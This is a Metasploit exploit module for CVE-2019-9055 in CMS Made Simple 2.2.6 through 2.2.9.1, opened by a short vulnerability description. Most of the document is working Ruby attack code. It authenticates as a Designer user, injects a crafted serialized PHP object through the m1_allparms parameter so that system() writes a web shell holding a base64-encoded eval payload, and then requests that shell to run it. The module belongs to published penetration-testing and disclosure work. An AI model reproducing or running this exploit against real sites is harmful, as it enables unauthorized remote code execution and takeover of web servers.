An issue was discovered in CMS Made Simple version 2.2.8. In the module DesignManager (in the files action.admin_bulk_css.php and action.admin_bulk_template.php), with an unprivileged user with Designer permission, it is possible to reach an unserialize call with a crafted value in the m1_allparms parameter, and achieve object injection. This Metasploit module has been successfully tested on CMS Made Simple versions 2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.
3b3ade2ee27236b704dbdfaf2c3827c1##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'CMS Made Simple Authenticated RCE via object injection',
'Description' => %q(
An issue was discovered in CMS Made Simple 2.2.8.
In the module DesignManager (in the files action.admin_bulk_css.php
and action.admin_bulk_template.php), with an unprivileged user
with Designer permission, it is possible to reach an unserialize
call with a crafted value in the m1_allparms parameter,
and achieve object injection.
This module has been successfully tested on CMS Made Simple versions
2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.
),
'Author' => [
'Daniele Scanu danielescanu20[at]gmail.com', # Discovered and exploit. twitter.com/sk4pwn
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2019-9055'],
['CWE', '74'],
['URL', 'https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg'],
['URL', 'https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 26 2019'))
register_options(
[
OptString.new('TARGETURI', [true, 'Base cmsms directory path', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
]
)
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end
def multipart_form_data(uri, data, message)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', uri),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{message.bound}",
'cookie' => @cookies
)
end
def post(uri, data)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', uri),
'method' => 'POST',
'vars_post' => data,
'cookie' => @cookies
)
end
def get(path, filename)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, path, filename),
'method' => 'GET'
)
end
def check
res = get('', 'index.php')
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.body.match?(/CMS Made Simple/i)
return CheckCode::Safe
end
version = Gem::Version.new(res.body.scan(/CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/).flatten.first)
vprint_status("#{peer} - CMS Made Simple Version: #{version}")
if version <= Gem::Version.new('2.2.9.1')
return CheckCode::Appears
end
return CheckCode::Safe
end
def login
data = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginsubmit' => 'Submit'
}
res = post('login.php', data)
unless res
fail_with(Failure::Unreachable,
'A response was not received from the remote host')
end
unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ %r{\/admin\?(.*)?=(.*)}
fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
end
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
vprint_good("#{peer} - Authentication successful")
@csrf_name = Regexp.last_match(1)
csrf_val = Regexp.last_match(2)
@csrf = { @csrf_name => csrf_val }
@cookies = res.get_cookies
end
def send_injection
# prepare shell command
shell_name = rand_text_alpha(8..12) + '.php'
cmd = Rex::Text.encode_base64(payload.encoded).delete('\n', '')
cmd = "echo \"<?php eval(base64_decode('#{cmd}')); ?>\" > #{shell_name}"
# prepare serialized object
final_payload = 'a:2:{s:10:"css_select";a:4:{i:0;s:2:"19";i:1;s:2:"21";i:2;O:13:"dm_xml_reader":1:{s:31:"'
final_payload += "\x00" + 'dm_xml_reader' + "\x00"
final_payload += '_old_err_handler";a:2:{i:0;O:21:"CmsLayoutTemplateType":1:{s:28:"'
final_payload += "\x00" + 'CmsLayoutTemplateType' + "\x00"
final_payload += '_data";a:2:{s:13:"help_callback";s:6:"system";s:4:"name";s:' + cmd.length.to_s + ':"' + cmd + '";}}'
final_payload += 'i:1;s:21:"get_template_helptext";}};i:3;s:5:"dummy";}s:15:"css_bulk_action";s:6:"export";}'
# create message with payload
message = Rex::MIME::Message.new
message.add_part(@csrf[@csrf_name], nil, nil, "form-data; name=\"#{@csrf_name}\"")
message.add_part('DesignManager,m1_,admin_bulk_template,0', nil, nil, 'form-data; name="mact"')
message.add_part(Rex::Text.encode_base64(final_payload), nil, nil, 'form-data; name="m1_allparms"')
data = message.to_s
# send payload
payload_res = multipart_form_data('moduleinterface.php', data, message)
fail_with(Failure::NotFound, 'Failed to send payload') unless payload_res
register_files_for_cleanup(shell_name)
# open shell
res = get('admin', shell_name)
if res && res.code == 404
print_error "Shell #{shell_name} not found"
end
end
def exploit
unless [CheckCode::Detected, CheckCode::Appears].include?(check)
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
login
send_injection
end
end